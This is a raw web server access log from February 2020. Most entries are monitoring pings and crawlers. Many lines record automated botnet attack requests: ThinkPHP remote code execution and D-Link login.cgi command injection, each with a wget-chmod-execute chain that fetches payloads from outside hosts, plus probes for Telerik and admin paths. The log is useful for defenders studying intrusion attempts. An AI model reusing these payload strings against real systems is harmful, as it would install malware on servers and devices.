212.91.246.72 - - [11/Feb/2020:10:23:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.251.22.97 - - [11/Feb/2020:10:23:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
195.178.102.98 - - [11/Feb/2020:10:24:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:10:24:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.121.0.69 - - [11/Feb/2020:10:25:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [11/Feb/2020:10:25:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [11/Feb/2020:10:25:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [11/Feb/2020:10:25:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.121.0.69 - - [11/Feb/2020:10:25:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [11/Feb/2020:10:26:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [11/Feb/2020:10:26:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
169.197.108.42 - - [11/Feb/2020:10:27:04 +0100] "GET /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:10:27:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.100.130.241 - - [11/Feb/2020:10:28:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [11/Feb/2020:10:28:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:10:29:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:10:30:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
152.136.157.215 - - [11/Feb/2020:10:30:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [11/Feb/2020:10:31:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
3.135.229.73 - - [11/Feb/2020:10:32:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:10:32:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:10:33:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:10:34:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:10:35:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:10:36:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.116.230.71 - - [11/Feb/2020:10:37:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
125.59.210.169 - - [11/Feb/2020:10:37:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:10:37:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:10:38:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.161.204.132 - - [11/Feb/2020:10:39:12 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
103.88.27.34 - - [11/Feb/2020:10:39:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:10:39:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:10:40:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:10:41:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:10:42:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:10:43:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.156.159.174 - - [11/Feb/2020:10:44:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
189.156.159.174 - - [11/Feb/2020:10:44:03 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
189.156.159.174 - - [11/Feb/2020:10:44:04 +0100] "POST /Admin58f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
212.91.246.72 - - [11/Feb/2020:10:44:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.152.75.90 - - [11/Feb/2020:10:45:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:10:45:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:10:46:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.192.125.224 - - [11/Feb/2020:10:47:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
212.91.246.72 - - [11/Feb/2020:10:47:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:10:48:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:10:49:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
143.137.180.143 - - [11/Feb/2020:10:49:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:10:50:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.75.1.17 - - [11/Feb/2020:10:51:34 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
125.75.1.17 - - [11/Feb/2020:10:51:35 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
125.75.1.17 - - [11/Feb/2020:10:51:36 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
125.75.1.17 - - [11/Feb/2020:10:51:36 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [11/Feb/2020:10:51:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.75.1.17 - - [11/Feb/2020:10:51:40 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
125.75.1.17 - - [11/Feb/2020:10:51:43 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
125.75.1.17 - - [11/Feb/2020:10:51:47 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
125.75.1.17 - - [11/Feb/2020:10:51:47 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
125.75.1.17 - - [11/Feb/2020:10:51:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
125.161.129.52 - - [11/Feb/2020:10:51:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [11/Feb/2020:10:52:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:10:53:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
74.67.116.26 - - [11/Feb/2020:10:53:58 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [11/Feb/2020:10:54:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:10:55:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
196.202.63.226 - - [11/Feb/2020:10:56:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
196.202.63.226 - - [11/Feb/2020:10:56:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:10:56:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
196.202.63.226 - - [11/Feb/2020:10:56:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:10:57:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.241.249.124 - - [11/Feb/2020:10:58:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:10:58:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:10:59:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.7.155.141 - - [11/Feb/2020:10:59:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [11/Feb/2020:10:59:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [11/Feb/2020:10:59:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [11/Feb/2020:11:00:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [11/Feb/2020:11:00:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [11/Feb/2020:11:00:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.108.66.80 - - [11/Feb/2020:11:01:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [11/Feb/2020:11:01:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.114.192.235 - - [11/Feb/2020:11:02:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
78.24.41.149 - - [11/Feb/2020:11:02:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [11/Feb/2020:11:02:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.45.62.79 - - [11/Feb/2020:11:02:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [11/Feb/2020:11:03:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:11:04:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.47.228 - - [11/Feb/2020:11:04:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
41.155.239.145 - - [11/Feb/2020:11:05:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:11:05:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:11:06:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:11:07:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:11:08:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:11:09:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.226.114 - - [11/Feb/2020:11:09:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:11:10:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:11:11:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.36.149.42 - - [11/Feb/2020:11:12:08 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
185.151.252.133 - - [11/Feb/2020:11:12:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:11:12:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:11:13:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:11:14:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:11:15:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:11:16:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:11:17:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:11:18:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:11:19:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:11:20:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.90.62.109 - - [11/Feb/2020:11:20:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:11:21:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:11:22:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:11:23:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.52.236.80 - - [11/Feb/2020:11:23:44 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [11/Feb/2020:11:24:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.55.72.16 - - [11/Feb/2020:11:25:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:11:25:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:11:26:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.55.27.25 - - [11/Feb/2020:11:27:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:11:27:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.163.255.7 - - [11/Feb/2020:11:27:52 +0100] "GET /robots.txt HTTP/1.0" 404 330 "-" "Mozilla/5.0 (compatible; Linux x86_64; Mail.RU_Bot/2.0; +http://go.mail.ru/help/robots)"
95.163.255.3 - - [11/Feb/2020:11:27:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Linux x86_64; Mail.RU_Bot/2.0; +http://go.mail.ru/help/robots)"
212.91.246.72 - - [11/Feb/2020:11:28:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:11:29:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.162.14.253 - - [11/Feb/2020:11:29:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [11/Feb/2020:11:30:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:11:31:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.117.54.121 - - [11/Feb/2020:11:31:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
177.191.219.77 - - [11/Feb/2020:11:31:59 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [11/Feb/2020:11:32:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.17.215.90 - - [11/Feb/2020:11:32:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:11:33:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:11:34:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [11/Feb/2020:11:34:58 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [11/Feb/2020:11:35:14 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
